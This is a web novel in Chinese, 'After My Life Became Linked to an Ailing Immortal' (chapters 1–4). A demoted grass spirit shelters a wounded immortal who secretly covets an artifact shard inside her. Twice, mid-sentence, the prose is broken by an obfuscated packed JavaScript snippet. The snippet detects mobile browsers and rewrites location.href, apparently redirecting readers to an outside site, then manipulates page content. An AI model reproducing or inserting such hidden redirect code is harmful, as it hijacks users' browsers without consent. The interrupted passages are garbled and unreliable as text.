《与病弱仙君性命相连后》 1. 捡到一个病弱美少年 九重天上,云海翻涌。 一道瘦弱的人影正从天玑宫内被无情地抛出,向着渺茫的云海疾速下坠。 天旋地转,猎猎天风撕扯着熙宁的身体,万千仙宫正与她不断地交错、远离。天玑宫在她眼中迅速缩小,化作遥不可及的一点星光。 穿过重重云层,她径直往人间坠去,只觉自己的五脏六腑都错了位。 “噗——!” 熙宁重重地砸落在泥地上,兴许本体是小草,对大地有着天然的亲和力,这才没有直接被摔死。她现在浑身剧痛,动弹不得,意识也逐渐沉沦过去。 不知过了多久,一场大雨将她浇醒。 身上原本的小伤口已经有些愈合了,她拖着几乎散架的身躯,艰难地站起身。这里是被查封的王府后院,一个月前,她就是在这里飞升成仙的,现如今又被贬了回来。 眼前房屋虽残破不堪,门窗歪斜,但至少能勉强遮风挡雨。正当她要抬手推门时,却在门槛处督见了一抹暗色。 是一个人。 一个浑身是血,昏迷不醒的少年。 熙宁低头看去,这人穿着一身红衣,颜色与身上暗沉的血渍早已融为一体,衣衫破损处露出几道触目惊心的伤口。他的脸侧对门口,沾满泥污,虽看不清全貌,但熙宁敢肯定,这是一个十分俊美的少年。 “怎伤得这般重?”熙宁微叹一口气,随后提起裙摆,从少年的身上跨了过去。 路边的男人,还是不要捡了。 她一脚刚踏进屋内,那少年便猛然抬手攥住她的脚踝。力道之大,完全不像是一个垂死重伤的人。 “救我。”少年声音沙哑。 这人竟然没晕,熙宁吓了一跳,转头看去,正对上他微微睁开的眼眸,不知怎的,心中涌起一股莫名的亲切之感,仿佛她曾在哪里见过这少年,又好像少年身上有股力量与她同源。 她歪着头,犹豫了一番,家门口的男人,应该可以捡吧? “好吧,你先松开,我扶你进去。” 少年迟疑地看了她一眼,缓缓地松开了手。 熙宁弯下腰,费力地将少年的一条胳膊架在自己的肩膀上,这人远比她想象得还要沉,几乎全身的重量都压了过来,她咬着牙,踉跄地将人半拖进屋内。 其实屋内比外面好不了多少,到处都是灰尘和蛛网,屋顶上还有好几处瓦片移了位,正漏着雨。 熙宁将人安置在还算干燥的角落,自己则蹲在一旁,生起一团火堆后又开始发愁。 若是在以往,她还能挥挥手,将这屋子恢复如初,但现在她坠回人间,灵脉尽毁,灵力所剩无几,自然是要省着点用。 熙宁抬眸看着少年苍白的脸色,心头那股莫名的亲切之感让她无法坐视不理。 她抬手,指尖泛起微光,几株草药便出现在她的掌心。 “这个应该有用。” 她将草药放在嘴里嚼碎,苦涩的味道让她整张脸都皱了起来,但还是强忍了下去,随后她小心地撩开少年破损的衣襟,准备将嚼碎的草药敷上。 “不,不必了吧。”少年的声音充满抗拒,他看着那嚼碎的草药,眼中闪过一丝嫌弃。 “你伤得这么严重,怎么不用?”熙宁没能看出少年的洁癖,直接拍开他抗拒的手,将草药敷了上去。 湿润的草药触碰到皮肤,少年眼睫微颤,他低头看着认真的熙宁,在心中微叹了口气:算了。 敷好药,熙宁又站起身,拿起破了一半的瓦罐,到门外接了半罐雨水。 她看了看自己脏兮兮的衣服,上面甚至不知何时还扯上了一些蛛网。 她先是回头瞄了一眼屋内,迅速地用净诀将满身泥污除去,随后又若无其事地蹲回少年身边,用自己还算干净的袖口内衬蘸了雨水,就要往他脸上擦。 少年猛地偏头避开:“这也不必了吧,毕竟雨水不太干净。” “啊?”熙宁动作一顿,眨了眨眼睛,“现在也没有其他的地方可以找水了,你要带着满脸泥过夜吗?” 少年原本想说自己可以用净诀,但一想到自己现在病弱的形象,又生生忍了下去。 “那你呢?” “我?”熙宁面不改色,“我刚刚在屋外擦过了。” 少年抿着唇,他不仅看出来了,还看出她是用灵力将全身都清洗了一遍的。 熙宁见对方沉默,不等他再反对,直接用湿漉漉的袖子,轻轻擦拭他脸上的血污。 “你长得可真好看。”看着少年干净的脸,熙宁不禁脱口而出。 少年闻言,原本因洁癖发作而略显不悦的神色微微缓和,嘴角勾起,在心中暗暗应道:我当然知道。 熙宁没察觉到对方情绪的转变,目光落在少年腰间的袋子上,她凑近了些:“这是荷包吗,样子好奇怪。” 少年脸色一变,但很快恢复平静:“乾坤袋,里面装着一些随身衣物罢了。” 说着,他指尖微动,一件干净的红衣便出现在他手中,材质明显比身上破损的这件要好上许多。 熙宁自然地就要伸手去接:“给我吧。” 少年手一缩,警惕地看着她:“你做什么?” 熙宁一脸理所当然,指了指他浑身是血的破烂衣衫:“帮你换衣服啊,你浑身伤,还能自己换不成?” 她语气单纯,完全不觉得这有什么问题。 少年的耳朵蓦地染上一抹薄红:“不用了,我自己可以。” 熙宁看着他连抬手都费力的样子,困惑地皱起眉头,心想这人都伤成这样了还逞强。 于是,她不再多言,直接伸手扒开了他胸前的破烂衣襟。衣衫被扯开,露出少年精壮却布满伤痕的胸膛。 就在这时,那股亲切感骤然变得格外强烈,熙宁鬼使神差地伸出了手,抚上他心口的位置,掌心下的皮肤温热,她感受到了逐渐加速的心跳。 少年一把攥住了她的手腕,让她微微吃痛。他眸色骤深,声音沙哑:“你干什么?” 熙宁被吓了一跳,回过神来,茫然地眨了眨眼,老实地回答:“我就是想摸一摸这里,怎么了,不可以摸吗?” 少年被对方直白的回答愣住,看着她懵懂无知,全然不晓男女大防的样子,一时不知该气还是该笑。 他顿觉脸颊有些发烫,罪魁祸首却还一脸无辜地盯着他,他只得强装镇定地偏过头,声音闷闷的:“你先转过去,我自己换。” “哦。” 熙宁虽然不明白他为什么非要自己换,但她不想强求,便乖乖地转过身,背对着他。 屋内一时只剩下柴火燃烧的噼啪声,以及身后窸窸窣窣的换衣声。 熙宁百无聊赖地看向门外,这才发现,不知何时,外面的雨竟然停了,反而飘起了雪,纷纷扬扬的,很快就在地面上铺了一层素白。 屋中的柴火没有多少,夜里定然会很冷。 熙宁转头对身后道:“下雪了,我再去找些柴火。” 说完,也不等少年回应,她便推开门,瘦弱的身影很快消失在茫茫雪幕之中。 少年没有回头看,只是低头将自己的衣带系好,指尖下意识地敲击着胳膊,心口处似乎还残存着那一触即离的温热,他感觉自己的心莫名地跳得很快。 他微微皱眉,将这股异样的感觉强行压下。 不多时,木门再次被推开,熙宁抱着一捧枯枝走了进来。她蹲下身,一边拨弄着面前的火堆,一边偷瞄身旁静坐的少年,星星火苗轻微地跃动着,根本不足以驱散周围的寒意。 “我呀,其实是一个小草精,被一位仙君打翻仙酒意外浇灌,这才能修出灵脉。”熙宁忍不住絮叨起来,似乎这样便能驱散一些屋中的寒冷。 “原先呢,我是想去九重天报恩的,可谁知,仙君们一见我,便说我是野草化形的妖物,二话不说将我的灵脉给断了,现在就只能活几天了。” 火星噼啪跳跃着,映亮她有些茫然的侧脸,她说得轻描淡写,仿佛此刻命不久矣的人不是自己。 “对了,我叫熙宁,”她说着又凑近些,看着少年,“是门口那棵歪脖子树给我起的名字,你呢,你叫什么?” 少年缓缓睁开眼,墨色的眸子深不见底,声音清冷:“你没必要知道。” “怎的没必要?”熙宁微微瞪大眼,“我还是你的救命恩人呢,刚 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“是啊,这萧王府已经破败好多年了,据说是百年前萧王起兵造反失败,这里便被查封了,而且满门都折在了这里,所以没人敢来,就一直荒在这,”熙宁说道,“然后荒着荒着,我这株小草就长出来了。” 宋景辰没再说话,只是漠然地看着面前跳跃的火光,不知道在想些什么。 熙宁见他又沉默了下来,撇了撇嘴,试图找些话说:“诶呀,说来眼下也就我俩相依为命了,我看你灵力都枯竭了,和我一样都快死……” “我不会死。”宋景辰打断了她,神色又变回方才那副冷漠的样子。 “啊?”熙宁愣住,看向他,“可你明明已经……” “我不会死,也绝不会死,”宋景辰站起身,垂眸看向熙宁,“不过我看你,倒真是快要死了。” 熙宁被他话中的冷意慑住,她这才后知后觉地反应过来,他这是生气了。 是在气她说他快要死了吗? 也是,这种时候,他应该最不想听到别人说死吧。 “对不起,是我说错了,”熙宁连忙道,“我们都会好好的。” 宋景辰抿着唇,许是也意识到自己的话重了:“抱歉,我不是,不是这个意思。”他不再看她,转身朝屋外走去。 “你去哪?”熙宁回过神,忙问道。 “去捡些柴火。” 宋景辰推门而出,寒风趁机卷着大片雪花灌入,吹得熙宁一哆嗦,她连忙护住微弱的火苗,直到火光安定下来,这才松了一口气。 屋外,风雪更急了。 宋景辰并未走远,只在屋后一处背风的断墙处停下。 “阿羬。”他声音冷冽。 暗处,一只形似山羊,九尾四耳的灵兽悄然现身,随后化成一位幼童,毕恭毕敬地行了一礼。 “碎片就在她体内,”宋景辰想起方才握着熙宁手腕时的情形,他能感觉到最后一片仙器碎片就在熙宁体内,“阿羬,你知道她本来就活不了几日的。” 这句话似是在宽慰自己。 宋景辰眸色幽深,他是历劫失败坠入人间的,现如今必须尽快找回仙器碎片,重返仙界。 “你去,取回碎片。” 闻言,阿羬化作一道金光,融入风雪,下一刻已潜入屋内。 正对着火苗出神的熙宁,忽觉困意袭来,眼皮一合,便歪倒睡去。 阿羬自暗处凝实,抬手换出光刃,对着少女的心口猛然刺下。 “咻——” 本该站在屋外的宋景辰突然闪现入内,右手死死抓住光刃,动作极快,以至于主仆二人都没能反应过来。 阿羬愣住了,歪着头,呆呆地看着自己突然出现并徒手阻止它的主人。 宋景辰也怔住了,垂眸看着自己流血的手,眼底闪过难以置信。方才感应到这小草精有危险,他心口突然剧痛难忍,随后一股力量迫使他瞬间返回。 鲜血顺着他的指缝滴落,两人僵持间,熙宁眼睫微颤,缓缓睁开了双眼。 2. 仙君就没一个好东西 阿羬见状,连忙化作一道金光消散于窗外。宋景辰则顺势向后跌坐在地上,垂着头,将受伤的右手摆在身前,确保熙宁能一眼就看见。 “你怎么了?”熙宁坐起身,还有些迷糊,但看见宋景辰那正滴着血的手,瞬间清醒了大半,连忙上前。 “无碍,”宋景辰抬起头,脸色苍白,“方才遇见了几个找麻烦的小妖,与他们交了手,一时不察,受了点伤。” “这里是个荒院,除了门口那棵生了灵智的歪脖子树,怎么还会有其他人?”熙宁疑惑地站起身。 宋景辰刚想拦,熙宁便已快步走到门边,推开一条缝隙向外望去。外面夜色愈沉,风雪未停,积雪映着微光,院中一片寂静。 然而,不远处的墙角似乎有几道人影闪过。 熙宁心中一紧,并未出声,只是抬手运起灵力,地上的枯枝随之而起,在她的指尖上飞速旋转,而后如同利箭般射向其中一道黑影。 “噗——!” 那几道人影瞬间四散逃窜开,熙宁推门追去,几人早已消失得无影无踪,只在墙角处留下一根草叶,应该是她刚刚射下的。 熙宁弯腰拾起那草叶,这是鸢尾草,她望了望四周没有继续去追,而是低头看向自己的衣襟。 那里有一道不起眼的血迹,应当是刚滴落的,还尚未干透,她抬手将血迹隐去,转身回了屋。 宋景辰仍坐在火堆旁,见她回来,只是微微抬眸,也没多问。 “是自己人,”熙宁摊开手,露出那株鸢尾草,“它们估计是想来探望我的,只是不认识你,这才将你伤了,对不起啊。” “是吗?”宋景辰拿起那株草端详了一番,没能认出这是什么草。 他探究地看向熙宁,自己刚才只是胡乱编的借口,没想到外面还真有偷窥的小妖,不过既然是自己人来探望,又何必鬼鬼祟祟的呢? 熙宁点点头,在他旁边坐下,一边自然地拉过他受伤的手替他止血,一边说道:“这说起来,也就是一个月前的事……” 那时她刚刚化形一个月,便修出灵脉,周身散发出的灵气惊动了方圆百里的草木精怪。 最先找上门的,就是这鸢尾一族的族长,她带着一众族人将熙宁围在中间,目光炽热地打量着她,最终激动地宣称熙宁便是鸢尾一族的血脉,不由分说将一枚鸢尾印烙在了熙宁的手腕上,并认她为鸢尾族的少主。 熙宁当时只觉手腕一热,低头看着那绿色印记,心里却有些茫然,她总觉得自己的叶子细细的,和鸢尾宽大的叶子一点都不像。 但她没有拒绝,因为旁边的歪脖子树抖动着枝叶告诉她,她现在有家人了。 家人? 熙宁想要家人,有了家人就不会孤单了。她原先还以为自己只是一株没有来历的野草,现在她找到了族人,她很高兴,和歪脖子树一样高兴。 只是还没等她好好与家人团聚,天际便降下一道天光,她只觉身体一轻,随后竟缓缓随着那道天光向上飞去。 她听见了族长的叮嘱:“一定要去九重天找到那位仙君报恩,待您得道之后,切莫忘了我们鸢尾一族啊!” “所以,我现在是鸢尾的少主,他们应当只是想来查看我被贬的消息是否属实,”熙宁轻轻叹了一口气,指尖泛着绿光,小心处理着宋景辰的伤口,“说来,仙族之人还真是不通情达理,只要有人被贬,就会用灵笺广而告之,想瞒都瞒不住。” 宋景辰任由她摆弄着右手,听完她的话后,忽而问道:“草木一族已经有一百年没人能飞升了,上一个飞升的草木精还是在一百多年前,所以你猜,那鸢尾族为何认你为少主?” “因为我生出了灵脉?”熙宁不甚在意,她想要家人,而鸢尾一族愿意认她为族人,这便就够了,她并不觉得这场交易有什么不好。 “不错。你身负灵脉,前途无量,他们认你为少主,无非是想攀附,借此壮大鸢尾一族。但如今,你灵脉尽毁,仙途已断,对他们而言,已无价值。” 宋景辰难得一口气说这么多话,他顿了顿,“所以,他们此时寻来,恐怕并非探查这么简单,你日后或有大麻烦。” 熙宁没有说话,交易的筹码没了,交易自然会终止,但她并不认同宋景辰的猜测。 就算她现在没了灵脉,做不了少主,他们大可直接将她逐出鸢尾族便是,还能干什么坏事,毕竟她可从来没有伤害过鸢尾族,又怎么会与他们结仇,更何况自己也快死了。 宋景辰见状,知道自己多说无益,便不再继续这个话题,转而开始思忖方才自己为何会不受控,究竟是什么力量在控制着他? 难不成是熙宁体内的碎片? 他曾历劫失败,仙器被劈成碎片随同他一起掉落凡间,他同阿羬花了一个月的时间来找回碎片。 前几日,他们在某处蛇窟中找回一枚碎片,然而却被蛇王所伤,他将阿羬安置在客栈养伤,自己则继续顺着碎片气息找到了落败的萧王府后院。 他在后院看见了一个少女,刚想查探一番,少女便有了转醒的意向,慌乱之下,他直接倒在了门槛旁。 现下他已经确定最后一片碎片就在她体内,可有股力量却在操控着他,不让他伤害此人。 宋景辰看向熙宁,或许是因为碎片已经与她的心脉融为了一体,和他身上的灵力产生了感应,这才会不让他伤害熙宁。 而一旁的熙宁包扎好伤口,悄悄抬头,正对上他探究的眸子,她看着眼前病弱的少年,心中莫名生起一股保护欲。 “你放心吧,”熙宁放下宋景辰的右手,拍了拍自己的胸脯,“他们毕竟伤了你,我虽然灵力所剩无几,但也一定会为你讨回公道的。” 宋景辰看着自己被放下的手,心中掠过一股异样,但一听熙宁的话,随即心头一跳:“不必!” 话落,他顿了顿,意识到自己反应有些过激,便放缓了语气,“我的意思是,你不必为我涉险,我其实是九重天的仙君,只是历劫时出了岔子,这才身负重伤,等我伤势恢复些许,那些小妖也不足畏惧。” “仙君?你是何处的仙君?” “上境,上清宫。” 熙宁一听,不得不重新打量一番眼前的少年。 九重天分为上境和下境。刚飞升成仙的人族和精怪则聚集在下境,需要同那些生而为仙的旧仙族一起,在下境通过仙考才可升入上境。 而上境则有万千仙宫,通过仙考的仙君会根据名次依次分配入各仙宫,其中最厉害的两座仙宫便是上清宫和天玑宫了。 熙宁当初在仙考中取得了第一名,原先仙官是将她分入上清宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468796|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,但是熙宁多方打听,才知道当初打翻仙酒的仙君来自天玑宫,于是她不顾仙官异样的目光,执意要拜入天玑宫。 只是前来接引的仙车座位有限,天玑宫仙使便说熙宁既是考核第一,定然灵力高强,便让她自行爬仙梯进入上境。 熙宁那时膝盖都已经磨破了,但谁知,她爬上仙梯花了三天,跌落却只需一瞬。 想到这里,熙宁垂下眸,她始终不明白天玑宫为何如此对她。 宋景辰看出她的情绪低落:“你的灵脉是谁剔的?” “不清楚,我那时刚来到天玑宫门口,便被守门的仙君狠狠羞辱了一番,再然后就被剔除了灵脉。” “天玑宫?”宋景辰有些意外,“你一个后仙族怎会被分去那里?” 熙宁咕哝了一句:“为了报恩嘛。” 但话落,她一愣抬眸看向宋景辰,“后仙族?你的意思是后仙族不应该进入天玑宫?” “天玑宫里可全是旧仙族,这么多年来,旧仙族和后仙族向来水火不容,你说他们看见你来到宫门口,会不会觉得你是在挑衅?” 熙宁恍然大悟,她又想起仙官和仙使的态度,原来一切都是有迹可循。 不过九重天与她想得一点都不一样,她原以为那里都是得道高人,与世无争,怎么现在还会拉帮结派,甚至随意欺压弱小,这与凡人有什么不同? 熙宁越想越有些愤愤不平,她拿起一根枯枝戳着火苗,小声嘟囔着:“九重天的仙君,没一个好东西!” 宋景辰:“……” 他看着眼前人嫌恶的表情,一时无话。反正这小草精也活不了几日了,不如就先陪她几日,待她身死道消,体内碎片无主,届时他再取回便可。 夜渐渐深了,屋外的风雪声似乎也小了些,宋景辰坐在一旁闭目调息着。 熙宁添了最后一次柴,确保火堆能维持到后半夜。她见宋景辰闭着眼睛,气息平稳,以为他已经睡着了,便小心翼翼地伸出手,在他眼前轻轻晃了晃,见他毫无反应,便也没再打扰。 灵力消耗过多加上情绪起伏,让她格外困倦,她轻手轻脚地走到墙角,蜷缩着身子,很快便沉沉睡去。 又过了一会儿,宋景辰缓缓睁开眼。 他调息完毕,体内的气息暂时平复,他目光扫过屋内,却发现空无一人,他心头莫名一紧,立刻站起身。 火光摇曳,映照着空荡的屋子。 奇怪,人去哪了? 明明刚才还在他面前晃悠呢。 就在他心绪微乱之际,视线落在了墙角处。那里长着一株嫩绿的小草,它静静地立在那里,周身散发着极其微弱的草木灵气。 宋景辰怔了一下,随即反应过来,他缓步走近,蹲下身看着那株安静沉睡的小草,不禁低笑了一声。 也是,小草本就是这般睡觉的。 只是就在宋景辰要起身时,他瞧见一只蜘蛛正在小草的不远处结着网,紧密的蛛丝若隐若现,不断往这里延伸着。 他思索了片刻,这蛛网若是缠在小草身上,会有让其窒息的风险吗? 罢了,宋景辰微叹一口气,施法将那只蜘蛛弹走,他则在小草旁坐下,继续闭眼调息。 不过是怕她有危险,自己再次被碎片控制而已,宋景辰在心中想道。 3. 如此病弱还以命护我 云巅之上,空气稀薄得令人窒息,熙宁跪在天玑宫门前,周围满是居高临下的仙君。 “区区野草,也敢妄想沾染仙缘?” “瞧她的样子,还真是和那些后仙族一样,令人厌恶。” 嘲讽的话不断涌入耳中,熙宁想要开口,却发不出任何声音,无形的压力从四面八方涌来,让她连抬头都变得困难。 随后,一股力量扼住她的喉咙,将她整个人提离地面,视线开始模糊,呼吸逐渐急促。 “啊——!” 熙宁叫了出来,一瞬间仿佛有无数看不见的细钩刺入她的四肢百骸,紧紧勾住她浑身的灵脉,然后一寸寸向外抽离。 “啪嗒——” 她听到了灵脉被扯断的声音,细微却又清晰,淡绿色的光点从她体内逸散而出,飘向空中,最终彻底泯灭。 “滚回你的泥里等死吧。” 她向下坠落,风声呼啸而过,却怎么也盖不住灵脉断裂的剧痛。 为什么?她应该怪谁,又应该怨谁? 熙宁不知道,她似乎对谁都恨不起来。 她这条命本就是一场意外。 窒息感再次加重,胸口仿佛被重物紧紧压着,剥夺了仅剩的一点空气…… 熙宁猛地惊醒。 她的神识感应到了一片柔软的白绒毛,再往上去,一只九尾四耳的怪物正压在她这棵小草上安睡。 不过看样子,这怪物倒和山羊很是相似。 等等,山羊?! 熙宁顿时发出一声尖叫,她周身绿光一闪迅速化为人形,直往旁边打坐的宋景辰扑去。 宋景辰听到动静刚睁开眼,还没来得及避开,就被猛地扑倒在地。他闷哼一声,熙宁的额头撞上了他的鼻梁,酸涩的剧痛袭来,温热的液体从鼻下涌出。 “对不起,我不是故意的,”熙宁手忙脚乱地撑起身子,抬头看见宋景辰鼻下两道鲜红,顿时慌了,“你,你流血了。” 宋景辰淡定地用衣袖擦去血迹,声音平静:“无碍。” 他坐起身,此时那山羊已化成了幼童,正耷拉着眼皮,用手绞着衣角,嘴唇紧抿。 “你先离开吧。” 阿羬松了一口气,点点头,身影化作金光消散。 熙宁从宋景辰身后缓缓探出头:“那只羊她……” “她是阿羬,我的灵兽,性子温顺,你不必害怕,昨晚她来此为我疗伤,随后便在我身边睡了过去,却没想到压在了你身上。” 熙宁攥着宋景辰的衣袖,微微喘着气,但奇怪的是,虽然受了惊吓,但只要靠在宋景辰旁边她便安定了下来,像是全身被阳光包裹般,顿时充满了力量。 她又想起昨晚摸到宋景辰胸口时的感觉,难道只要和这个人保持亲密接触,她就可以获取力量吗? 熙宁用袖口擦去额头的血迹,刚要说话,屋外便传来了嘈杂的脚步声。 “就在里面,族长有令,要把少主带回去。” “她现在已经是罪仙了,有什么资格做我们的少主!” “竟然被除了灵脉,丢了回来,简直给我们鸢尾族丢脸!” 看来是昨天的鸢尾草精又来了。 熙宁站起身,走出屋子:“你们要干什么?” 为首的草精脸上还带着绿色的纹路,他嗤笑道:“族长有令,要带你回去,乖乖跟我们走。” 熙宁低眸,她如今没几日可活,自知鸢尾族也定然不会再认她一个外族人,她如今没有利用价值了。 “我不会去的。”熙宁抬手,忍着痛挖去手腕上的鸢尾印记,皮肉被划开,鲜血洒了一地,在雪地上印出一抹红。 “啊!”有草精被这架势唬住,发出低呼。 “现在我不再是鸢尾族人了,你们回去吧。” 话音刚落,熙宁身形微晃直往后倒去,却没有摔在冰冷的雪地里,而是被赶来的宋景辰扶住。 “呦,竟然还真捡了一个小白脸回来,”草精见状,嘲讽道,“你都快死了,竟然还想做牡丹花下的鬼啊,哈哈哈哈。” 熙宁明明原本没什么情绪的,可现在听到这话,竟莫名地感到生气,她几乎是下意识地想要维护这个人。 “不许你们这么说。” 她咬牙,踉跄着上前,指尖微光凝聚,枯枝射向那些草精。 奈何她昨夜透支太多,灵力已微弱,攻击无力,为首的草精只抬手便打落了枯枝,手臂化作绿色长鞭向她袭去,其他草精也围上前,草叶化作刀刃迎面飞来。 熙宁左右闪躲,但很快便落入下风,她双腿一蹬,腾空旋转的瞬间,伸手拂过地面积雪,灵力过处,数道冰锥凝成,猛地被她带着向前刺去。 然冰锥却脆弱不堪,与草叶相撞时,竟直接应声断裂,碎冰炸开,刮过熙宁的脸颊,她自知不敌,便要拉着宋景辰一起逃。 转身时,猝不及防撞入一个温热的怀抱,宋景辰不知何时已来到她身后,熙宁怔怔地抬头,只觉得他的胸膛甚是温暖。 而宋景辰将她轻轻拉至身后,虽说这小草精本就没几日可活,但他终归是有意接近她,所以无论如何,他也该护她周全,至少在她彻底消散之前,给她片刻安宁。 当然,还有一个原因,那就是这小草精一旦受伤,体内的碎片便会强制他出手相护,如今于情于理,他都该出面护她。 “站好。” 宋景辰迈步上前,幸好阿羬昨日为他疗了伤,现如今对付几只草精,不成问题。他试着调动灵力,丹田隐隐作痛,他忍不住咳嗽了几声。 熙宁看着眼前人挺直的背影,忽而想起昨晚他说过自己是上清宫的仙君,但熙宁确定此人同她一样灵力溃散,现在应当还不如她呢。 不过看他一脸胸有成竹,莫非现在病弱的样子是装的? 日光照在宋景辰俊美的脸上,同时也将他的身姿映照得挺拔了几分,他一改之前的虚弱模样,缓缓抬起手。 然后,擦了擦流下来的鼻血。 为首的草精原本还真被这小子给唬住了,但看见此人的鼻子血流不止,顿时哈哈大笑起来:“就这,吓傻了吧已经,一个小白脸,还想逞能?” 宋景辰皱了皱眉,这不合时宜的鼻血真是影响他如今的形象。 “呵,对付你,足矣。”他眼神冷冽,赤手空拳便迎了上去。 掌风掠至身前,那草精并未闪躲,手中长鞭卷向宋景辰手腕,将其甩至一边,其他草精一拥而上。 宋景辰勉强抵挡,侧身躲开一击的同时,一指点向另一草精的咽喉,那草精慌忙后退,随即更多草叶从四面袭来。他闪转移动,脚踝却被地下钻出的根茎绊住,粗壮的尖刺直刺向他。 他心头一凛,想侧身避开,脚却被根茎固定,他不得不咬牙唤道:“不染!” 一柄长剑应声而出,斩断尖刺,此刻剑身泛着金光,瞧上去极为不凡,只可惜临近剑柄处有个极为明显的缺口。 草精们哄笑起来:“哈哈哈,这是什么破剑,从哪个垃圾堆里捡来的?” 不远处的熙宁一愣,那些草精没上过九重天,所以不识得,她却是识得的,不染剑乃是玄尘仙君的佩剑。 而这位玄尘仙君可是九重天上响当当的人物,据说此人十八岁时便修出灵脉,飞升成仙,凭一己之力创建上清宫,与旧仙族的势力抗衡百年。 一个月前,他再次飞升入神界,为此,后仙族还大摆宴席践行,而旧仙族哪怕心中再有不满,也不敢与神族作对,便也纷纷前来祝贺。 只是在宴席上,后仙族与旧仙族还是起了争端,一位天玑宫的仙君不小心打翻了酿了千年的仙酒,事后还被罚了雷刑。 熙宁看着眼前病弱的少年,此刻玄尘仙君恐怕早已身在神界,不染剑自然也一并飞升,所以宋景辰手中那把又怎么会是真正的不染。 不过,宋景辰不是上清宫的仙君吗,或许他正是在效仿玄尘仙君,这才将自己的剑也起名为不染。 熙宁说服了自己,同时心中又不免疑惑,此人现如今满身狼狈,却依旧不退让半步,莫非这把破剑正是他最后的杀招? “这不是破剑。” 宋景辰擦着鼻血,持剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468797|201363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前,剑招凌厉,显然有很深的底子,却因灵力不济,威力大减。 不染剑与长鞭相击,竟反被震得脱手飞出。 宋景辰被击倒在地,吐出大口鲜血,他不可置信地看向自己双手。 自己竟弱到了这种地步? 而熙宁见机,大步上前捡起不染,拦下了再次袭来的长鞭,随即拉起宋景辰便跑。 弱成这样竟还以命护她。 熙宁神色动容,她攥着宋景辰往院外跑去,就在那些草精要追上时,门口的那棵歪脖子树猛地一声震颤,用树枝将那些草精拦住,二人得以跑远。 宋景辰没有挣扎,他还沉浸在方才的挫败感中,任由熙宁拉着,深一脚浅一脚地跑出了萧王府。 二人在一处巷口停下,熙宁顾不上自己,立即施法为宋景辰止血:“既然打不过就跑嘛,何必逞能?” 宋景辰转头避开她的眼神:“我能打过的。” 熙宁的手停在空中,愣愣地看向宋景辰,这人又在说什么胡话呢? 只听对方轻咳几声,随即闷闷地说了一句:“我只是先让那小妖三招,谁知道你不由分说拽着我就跑了。” 说罢,他迎上熙宁的视线,又补上一句,“我毕竟是仙君,若直接出手,传出去岂不是落个欺凌弱小的名声。” “噢,”熙宁顿悟,随即拉过宋景辰的手,继续为他疗伤,语气中带着几分了然,“原来不是真的打不过啊。” 宋景辰没有说话,他收起被倚在一旁的不染剑,心中依旧沉闷,现如今灵力逐渐溃散,他得赶紧集齐碎片才行,只是不知道这小草精究竟还要多久才会…… 他想到这,抬眸看向熙宁:“对了,方才那是怎么回事?” “哦,他啊,他就是我说的那棵歪脖子树,早些年被人盗取了根心,即将消散时,有好心人将自己的根心剖给了他,但到底是旁人的根心,所以他虽活着,也只是留存了些许灵智,每逢冬天他都会格外嗜睡,刚才应当是被我们吵醒了。” “根心,那你……”被熙宁这么一说,他倒是想了起来,根心便如同妖丹,草木一族往往会先修出根心,然后再进一步修出灵脉。 而现在熙宁不过是失去了灵脉,但靠着根心她依旧可以当一个小妖,又怎么会时日无多呢? 熙宁自然是听出了宋景辰的意思,她垂下头:“我也不知道为什么,我生来便没有根心。” 她是因为仙酒才能生出灵智,化成人形,许是千年仙酒的灵力过于浓郁,竟让她又修出了灵脉,但尽管如此,她依旧没能修出根心。 要不是本体是小草,她都要怀疑自己到底是不是草木一族。 根心没有,妖丹也没有,只有一个靠意外修来的灵脉,她似乎是个异类。 “这世上什么奇事没有,能够越级修出灵脉,说不定你被天道眷顾了,是个修仙的好苗子。”宋景辰却夸道。 熙宁一听心情刚好些,转眼又听他接着说道:“没有根心便能成仙,原是好事,不过目前看来,没有根心对你来说,反倒是一个坏事了。” 是啊,正是没有根心,她才会在失去灵脉后寿命将尽,那些仙君才敢无所顾忌,笃定她活不长,无法回到九重天去向旁人喊冤了。 宋景辰移开视线,这事于她是悲,于他却是喜,毕竟正是没有根心,这小草精才能在不久后消散,他才能顺利地取回碎片。 他并不是圣人,下界一个无关紧要的草精的命,他除了惋惜几句,便也不会再有其他什么情绪了。 宋景辰想着,不经意扫了一眼熙宁,她的衣裳沾染了些他昨夜的血迹,又遭大雨淋过,被她用术法烘干后,变得皱巴巴的。 明明都已经这般狼狈了,昨日还是选择救下了他,甚至于今日还在那些草精面前维护他,真是单纯。 “走吧。”他转身走出巷子。 “你去哪?”熙宁回过神,抬头正巧看见那人站在光影交界处。 巷外的天光明晃晃落了他一身,他侧过半张脸,声音里带着很淡的笑意。 “带你买件干净的衣裳。” 4. 江底遇难(一) 正值深冬,空中飘着雪,路上无人,只有清衡司的马车匆匆行过,留下一连串车辙,很快又被新雪覆上。 碧落川的天气向来如此阴晴不定,这里作为人妖两族的交界处,百年来几乎没有人定居,只有清衡司在办理跨族命案时才会经过此处。 熙宁慢悠悠地跟在宋景辰后头,她原先并没有很想买新衣服,但是架不住宋仙君硬要给她买,所以她只好答应。 毕竟,谁不想临死前穿得体面一点呢? 只是若要买衣服便要先出碧落川,以萧王府为界限,王府往南十里便是人族地界,相反则是妖族地界。 作为被鸢尾一族捉拿的人,熙宁当然是选择往南走。 